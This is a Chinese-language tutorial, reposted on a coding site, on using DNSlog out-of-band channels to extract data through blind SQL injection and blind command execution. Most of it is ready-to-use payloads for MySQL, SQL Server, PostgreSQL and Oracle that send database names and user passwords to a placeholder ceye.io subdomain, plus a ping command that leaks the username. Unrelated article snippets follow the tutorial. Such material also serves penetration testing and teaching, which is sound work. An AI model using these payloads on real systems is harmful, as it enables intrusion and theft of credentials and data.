Dnslog在SQL注入中的利用

參考文獻:www.anquanke.com/post/id/98096
https://bbs.pediy.com/thread-223881.htm

DNSlog在Web攻擊的利用

在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過DNSlog把想獲得的數據外帶出來。

常用情況

SQL注入中的盲注
無回顯的命令執行
無回顯的SSRF

原理

img_bead50ab28f44f9ff52aaef30240573e.jpe
1.jpg

攻擊者提交注入語句,讓數據庫把需要查詢的值和域名拼接起來,然后發生DNS查詢,只要能獲得DNS的日志,就得到了想要的值。

  • 推薦一個免費的dnslog平臺:http://ceye.io

1.命令執行

ping %USERNAME%.xxxxxx.ceye.io

img_e612bac055f4e46d49f22859a1348f18.png
1.png

2.MySQL

load_file
在MySQL中有個load_file()函數可以用來讀取本地的文件,load_file()函數還可以用來發送dns解析請求
以SQLi-LABS 第五關為例:
payload:
?id=1' and if((select load_file(concat('\\\\',(select database()),'.xxxxxx.ceye.io\\abc'))),1,1)--+

img_a613e7d1609e94c2ef026d60fd4f2c1c.png
1.png

payload:
?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'.xxxxxx.ceye.io\\abc'))),1,1)--+
img_69c76cb8305e2882a94aa7c5df012533.png
2.png

concat()函數拼接了4個\了,因為轉義的原因,\\\\就變成了\\,目的就是利用UNC路徑

UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。在Widnows中用共享文件的時候就會用到這種網絡地址的形式\\sss.xxx\test\

  • Linux沒有UNC路徑這個東西,當MySQL處于Linux系統中的時候,不能使用這種方式外帶數據的
img_e612bac055f4e46d49f22859a1348f18.png
1.png

3.msSQL

DECLARE @host varchar(1024);
SELECT @host=(SELECT master.dbo.fn_varbintohexstr(convert(varbinary,rtrim(pass))) 
FROM test.dbo.test_user where [USER] = 'admin')%2b'.cece.nk40ci.ceye.io';
EXEC('master..xp_dirtree "\'%2b@host%2b'\foobar$"');

4.postgreSQL

DROP TABLE IF EXISTS table_output;
CREATE TABLE table_output(content text);
CREATE OR REPLACE FUNCTION temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT;
DECLARE query_result TEXT;
BEGIN SELECT INTO query_result (select encode(pass::bytea,'hex') from test_user where id =1);
exec_cmd := E'COPY table_output(content) FROM E\'\\\\\\\\'||query_result||E'.pSQL.3.nk40ci.ceye.io\\\\foobar.txt\'';EXECUTE exec_cmd;
END;
$$ LANGUAGE plpgSQL SECURITY DEFINER;
SELECT temp_function();

5.SQL Server

存儲程序master..xp_dirtree()用于獲取所有文件夾的列表和給定文件夾內部的子文件夾。

DECLARE @host varchar(1024);
注冊一個名為@host的變量,類型為varchar。
SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';
獲取db_name()然后轉換成varchar類型,然后吧獲取的db_name()返回值拼接到dnslog平臺給我們的子域名里面,然后賦值給@host變量。
EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
列遠程主機的foobar$目錄,由于是遠程主機,所以會做一個dns解析,這樣我們的dns平臺就能得到日志了
http://xxxx.com.cn/?Id=123';DECLARE @host varchar(1024);SELECT @host=CONVERT(varchar(1024),db_name())+'.xxxxxxxxx.ceye.io';EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');--

6.Oracle

UTL_HTTP.REQUEST
select name from test_user where id =1 union SELECT UTL_HTTP.REQUEST((select pass from test_user where id=1)||'.xxxxxx.ceye.io') FROM sys.DUAL;
DBMS_LDAP.INIT
select name from test_user where id =1 union SELECT DBMS_LDAP.INIT((select pass from test_user where id=1)||'.xxxxxx.ceye.io',80) FROM sys.DUAL;
HTTPURITYPE
select name from test_user where id =1 union SELECT HTTPURITYPE((select pass from test_user where id=1)||'.xx.xxxxxx.ceye.io').GETCLOB() FROM sys.DUAL;
UTL_INADDR.GET_HOST_ADDRESS
select name from test_user where id =1 union SELECT UTL_INADDR.GET_HOST_ADDRESS((select pass from test_user where id=1)||'.ddd.xxxxxx.ceye.io') FROM sys.DUAL; 

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/282795.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/282795.shtml
英文地址,請注明出處:http://en.pswp.cn/news/282795.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

讓泛型的思維扎根在腦海——深刻理解泛型

1.前言往往一些剛接觸C#編程的初學者,對于泛型的認識就是直接跳到對泛型集合的使用上,雖然微軟為我們提供了很多內置的泛型類型,但是如果我們只是片面的了解調用方式,這會導致我們對泛型盲目的使用。至于為什么要使用泛型&#xf…

fgetcsv()函數

fgetcsv()函數。fgetcsv()函數可以讀取指定文件的當前行,使用CSV格式解析出字段,并返回一個包含這些字段的數組。語法格式如下:array fgetcsv(resource $handle [, int $length [, string $delimiter [, string $enclosure[,string $escape]]…

android 系統ui修改器,分享兩個效果 - Android 系統 UI 管理

SystemUIManage.gifDimming the System Bars (沉浸模式)知乎 和 Medium 中都使用到了這個效果,作為沉浸式閱讀模式。// This example uses decor view, but you can use any visible view.View decorView getWindow().getDecorView();int uiOptions View.SYSTEM_U…

打游戲要存進度-備忘錄模式

打游戲要存進度-備忘錄模式 學習自 《大話設計模式》 備忘錄模式漫談 備忘錄的這種設計思想是非常常見的,比如說圍棋游戲的悔棋,繪圖軟件的撤銷功能等等,都或多或少的使用了備忘錄模式來處理對象的狀態。 備忘錄(Memento): 在不破壞封裝性的前…

(10.1)Python學習筆記二

1、在項目工程中要模塊化測試一個開發的功能,在測試通過后交付給項目組其他人員繼續開發。要保證代碼開發的性能和效率以及可擴展性。 2、項目工程中的文件夾分類要功能模塊明確清晰,在python中引入某一個 文件夾下的文件可以使用如下方式: t…

利用lay-ui結合ajax實現分頁功能(不借助框架,簡單易懂)

效果圖: 1.創建html頁面 01.html(前臺文件) 2.創建index.php(后臺文件) ------------------熱身結束,開始正式分頁之旅------------------ 3.在html頁面中引入layui需要用到的css以及js,還有我們自己額外需要用到的jquery 4.在html文件中,將基本的分頁欄顯示出來 5.好啦,htm…

Linux系統壓縮及解壓縮

Linux系統解壓縮概述:本篇將介紹Linux系統中的壓縮和解壓縮的工具,以及歸檔工具(tar,cpio)compress/uncompress:對應 .Z 結尾的壓縮格式文件;gzip/gunzip:其對應的是 .gz 結尾的壓縮…

酷派手機android版本,系統版本迎來升級

系統版本迎來升級這個應該是兩個版本之間最大但是卻不那么直觀的不同了,因為從TD版酷派大神F1采用的CoolLife UI 5.0版本,再到聯通版酷派大神F1所搭載的CoolLife UI 5.5版本,它們之間經歷了一個比較不錯的升級。在圖標ICON,功能設…

學習RUNOOB.COM進度一

了解MongoDB 由C語言編寫的,是一個基于分布式文件存儲的開源數據庫系統。在高負載的情況下,添加更多的節點,可以保證服務器性能。 特點 面向文檔,操作簡單容易 設置任何索引,實現更快排序 本地或者網絡創建數據鏡像&am…

最終用戶計算安全——特權訪問控制

本篇算是系列的第二篇,之前寫了一篇關于勒索軟件攻擊的,坦白說寫這樣的文很費腦子,而且喜歡看的讀者估計也不多…不過我覺得整理一下思路,對于通過最終用戶計算產品或方案來提升組織安全還是有很大的意義的。所以一邊喝著清茶吃著…

MVC學習九:MVC 特性本質

一、特性的本質就是:對屬性、方法、類加特性,本質就是new 一個特性類對象賦值給屬性、方法、類。 可以通過反射的方式取得特性的值,代碼如下: ①自定義特性 public class MyAttribute:Attribute{public string Name { get; set; }…

前端知識點總結---面試專用

1.關于基礎css html js部分 1.1基本算法 1&#xff09;快速排序 時間復雜度 nlogn function quickSort(arr){if (arr.length<1){return arr;}var pivotIndex 0,pivort arr.splice(pivortIndex, 1)[0];var left [],right [];for (var i 1, length arr.length; i < l…

鴻蒙系統大疆,華為操作系統“鴻蒙OS”來了!

原標題&#xff1a;華為操作系統“鴻蒙OS”來了&#xff01;8月9日&#xff0c;華為消費者業務CEO余承東在華為開發者大會上如期發布了華為鴻蒙操作系統“HarmonyOS”。據介紹&#xff0c;鴻蒙內核在2017年便完成技術驗證&#xff0c;最初是為了提升操作系統的跨平臺能力而研發…

詳述 IntelliJ IDEA 插件的安裝及使用方法

首先&#xff0c;進入插件安裝界面&#xff1a; Mac&#xff1a;IntelliJ IDEA -> Preferences -> Plugins;Windows&#xff1a;File -> Settings -> Plugins.標注 1&#xff1a;顯示 IntelliJ IDEA 的插件分類&#xff0c; All plugins&#xff1a;顯示 IntelliJ …

杭漂兩年,深漂兩年,宇宙的盡頭到底在哪兒

hi&#xff0c;這里是桑小榆。這次分享的是一位杭漂兩年&#xff0c;深漂兩年的碼農伙伴的經歷。首先他能夠在大學期間就尋找到自己的熱愛并持之以恒值得令人學習。其次他的工作經歷可以說是非常的“程序員”&#xff0c;因為程序員所面對的職業生涯中&#xff0c;所謂的實習&a…

侶信即時通訊系統的技術解析

侶信&#xff1a; 說明&#xff1a; 侶信專業版是面向中小企業和者各類團隊組織內部交流使用工具,可以在互聯網或者局域網中使用。具有豐富的功能&#xff0c;聊天&#xff0c;群組&#xff0c;部門組織&#xff0c;內部朋友圈&#xff0c;以及漂流瓶搖一搖等功能。它可以在局域…

Confluence 6 使用 WebDAV 客戶端來對頁面進行操作

下面的部分告訴你如何在不同的系統中來設置原生的 WebDAV 客戶端&#xff0c;這個客戶端通常顯示在你操作系統的文件瀏覽器中&#xff0c;例如&#xff0c;Windows 的 Windows Explorer 或者 Linux 的 Konqueror。在 Mac OSX Finder 中訪問 Confluence你可以成功的連接&#xf…

.Net之接口小知識

目的通過一個簡單的項目&#xff0c;在原來的文章基礎上完善一下常用的幾種WebApi編寫方式以及請求方式&#xff0c;一方面是用于給我一個前端朋友用來學習調用接口&#xff0c;另一方面讓我測試HttpClient的一些效果。本文示例代碼環境&#xff1a;vs2022、net6準備新創建了一…

你所不知道的setTimeout

JavaScript提供定時執行代碼的功能&#xff0c;叫做定時器&#xff08;timer&#xff09;&#xff0c;主要由setTimeout()和setInterval()這兩個函數來完成。它們向任務隊列添加定時任務。初始接觸它的人都覺得好簡單&#xff0c;實時上真的如此么&#xff1f;這里記載下&#…